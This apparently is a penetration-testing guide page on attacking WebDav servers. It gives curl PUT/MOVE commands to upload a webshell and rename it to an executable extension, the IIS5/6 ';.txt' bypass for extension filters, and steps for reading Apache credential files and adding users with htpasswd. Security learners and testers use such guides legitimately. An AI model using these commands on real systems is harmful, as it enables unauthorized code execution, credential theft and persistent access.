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93 lines
3.7 KiB
Markdown
93 lines
3.7 KiB
Markdown
# WebDav
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A **HTTP Server with WebDav** active is a server where you probably can **update, delete, move, copy** files. **Sometimes** you **need** to have **valid credentials** (usually check with HTTP Basic Authentication).
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You should try to **upload** some **webshell** and **execute** it from the web server to take control over the server.\
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Usually, to **connect** a WebDav server you will need valid **credentials**: [**WebDav bruteforce**](../../brute-force.md#http-basic-auth) _(Basic Auth)_.
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Other common configuration is to **forbid uploading** files with **extensions** that will be **executed** by the web server, you should check how to **bypass this:**
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* **Upload** files with **executable extensions** (maybe it's not forbidden).
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* **Upload** files **without executable extensions** (like .txt) and try to **rename** the file (move) with an **executable extension**.
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* **Upload** files **without executable extensions** (like .txt) and try to **copy** the file (move) with **executable extension.**
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## DavTest
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**Davtest** try to **upload several files with different extensions** and **check** if the extension is **executed**:
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```bash
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davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
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davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
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```
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Output sample:
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.png>)
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This doesn't mean that **.txt** and **.html extensions are being executed**. This mean that you can **access this files** through the web.
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## Cadaver
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You can use this tool to **connect to the WebDav** server and perform actions (like **upload**, **move** or **delete**) **manually**.
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```
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cadaver <IP>
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```
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## PUT request
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```
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curl -T 'shell.txt' 'http://$ip'
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```
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## MOVE request
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```
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curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
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```
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## IIS5/6 WebDav Vulnerability
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This vulnerability is very interesting. The **WebDav** does **not allow** to **upload** or **rename** files with the extension **.asp**. But you can **bypass** this **adding** at the end of the name **";.txt"** and the file will be **executed** as if it were a .asp file (you could also **use ".html" instead of ".txt"** but **DON'T forget the ";"**).
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Then you can **upload** your shell as a ".**txt" file** and **copy/move it to a ".asp;.txt"** file. An accessing that file through the web server, it will be **executed** (cadaver will said that the move action didn't work, but it did).
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.png>)
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## Post credentials
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If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:\
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_**/etc/apache2/sites-enabled/000-default**_
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Inside it you could find something like:
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```
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ServerAdmin webmaster@localhost
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Alias /webdav /var/www/webdav
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<Directory /var/www/webdav>
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DAV On
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AuthType Digest
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AuthName "webdav"
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AuthUserFile /etc/apache2/users.password
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Require valid-user
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```
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As you can see there is the files with the valid **credentials** for the **webdav** server: 
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```
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/etc/apache2/users.password
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```
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Inside this type of files you will find the **username** and a **hash** of the password. These are the credentials the webdav server is using to authenticate users.
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You can try to **crack** them, or to **add more** if for some reason you wan to **access** the **webdav** server:
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```bash
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htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
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```
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To check if the new credentials are working you can do:
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```bash
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wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
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```
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